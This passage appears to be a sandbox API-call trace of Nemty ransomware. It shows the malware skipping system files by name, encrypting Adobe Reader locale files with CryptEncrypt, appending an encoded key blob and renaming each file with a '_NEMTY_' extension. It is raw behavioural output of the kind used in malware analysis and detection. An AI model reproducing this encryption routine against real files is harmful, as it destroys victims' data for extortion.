returned 13 [0176.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.EUQ", lpUsedDefaultChar=0x0) returned 13 [0176.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.EUQ", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.EUQ", lpUsedDefaultChar=0x0) returned 13 [0176.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.043] Sleep (dwMilliseconds=0x5) [0176.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c93c190, dwHighDateTime=0x1d561e8)) [0176.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c93c190, dwHighDateTime=0x1d561e8)) [0176.044] GetLastError () returned 0x0 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.044] GetLastError () returned 0x0 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.044] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.044] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XxjdKk1KGavwsVip+gnySRxyHl3O4nGnJgU28VRfPYL0riF30l1zv2ciVHRS1t8O\r\nCE1NGB0VUZNK9l+CeAkc3LtF/EF9XU+NfOKU2F8nk8jev1Cry5nQU/S9oZyqRJT7\r\nhOwf1r7cwA37LGhIr9dXrSAlyPEJsNwFaMwAOQ+BmDJq0iBsNpYCbez4X9WA+qy+\r\nlYbfxV9vlhzRvKw+jDY4gknIUzTA1Q9ynHQ+sbjrktTy2BzshAO31rQNH4cgoHhi\r\n0VqPfcLvJD2n4V2mfq+EWdMz4Sd8MfNKy4xjh6eFcoWdCbEFGuHFpQz2CTQHXJTY\r\naMkYyppo9is//wd0BUTHbg==\r\n", pcchString=0x653e5dc) returned 1 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.045] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\brdlang32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.045] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13312) returned 1 [0176.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3400) returned 0x6352c48 [0176.045] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.045] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3400, lpOverlapped=0x0) returned 1 [0176.047] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.047] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3400, lpOverlapped=0x0) returned 1 [0176.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.047] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3400 [0176.047] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.047] CloseHandle (hObject=0x2e8) returned 1 [0176.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.048] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\brdlang32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\BRdlang32.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\brdlang32.euq._nemty_kgobjgd_")) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.048] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.EUQ", cAlternateFileName="")) returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2=".") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="..") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="...") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="windows") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="rsa") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="ntldr") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="IO.SYS") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="boot.ini") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="boot.ini") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="ntuser.dat") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="desktop.ini") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="CONFIG.SYS") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="RECYCLER") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="bootmgr") returned 1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="programdata") returned -1 [0176.049] lstrcmpiW (lpString1="Checkers.EUQ", lpString2="appdata") returned 1 [0176.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.EUQ", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.050] Sleep (dwMilliseconds=0x5) [0176.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9622f0, dwHighDateTime=0x1d561e8)) [0176.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9622f0, dwHighDateTime=0x1d561e8)) [0176.059] GetLastError () returned 0x0 [0176.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.059] GetLastError () returned 0x0 [0176.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.060] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.060] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.060] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.060] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="fHc/VZ0JAmdb4KWy7BkVGdDfV5ITcfLHxGj8hZuCP9NCSw5PBoqPYJrOrm8soNLB\r\ncnDLvK0vsZuw8usS5ERKzv+wepj3ssGMQ7oUlcqLn2YuWpkHLPPPlcV695mgUUEh\r\n/ic8xAUm8is7ExN9XzZzyXCPUz8sP9ZzEsRBhNmaKCZXX1m/sz5+iCZKYLUUr40Y\r\nCxALNz6MHdyeuAFBYlr2TpWsuT7pzzT5a7nN/mz3cyHNJLIrYaaVfUGmlJOb9AjP\r\nvJqhAGwc8SjWXI+q2xQ/g1i4cRi2jCNleaaLwwmfzGtNU9buTFdoYq9mNaKu5UdZ\r\nW+hnYBeKE0hM/qHu/QBFjQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.060] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\checkers.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.060] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=122880) returned 1 [0176.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.060] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.060] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.069] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.069] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.069] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=122880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e000 [0176.069] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.069] CloseHandle (hObject=0x2e8) returned 1 [0176.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.069] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.069] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.069] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.070] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.070] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\checkers.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Checkers.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\checkers.euq._nemty_kgobjgd_")) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.070] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.070] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.EUQ", cAlternateFileName="")) returned 1 [0176.070] lstrcmpiW (lpString1="DigSig.EUQ", lpString2=".") returned 1 [0176.070] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="..") returned 1 [0176.070] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="...") returned 1 [0176.070] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="windows") returned -1 [0176.070] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="rsa") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="ntldr") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="IO.SYS") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="boot.ini") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="boot.ini") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="ntuser.dat") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="desktop.ini") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="RECYCLER") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="bootmgr") returned 1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="programdata") returned -1 [0176.071] lstrcmpiW (lpString1="DigSig.EUQ", lpString2="appdata") returned 1 [0176.071] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.071] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.EUQ", 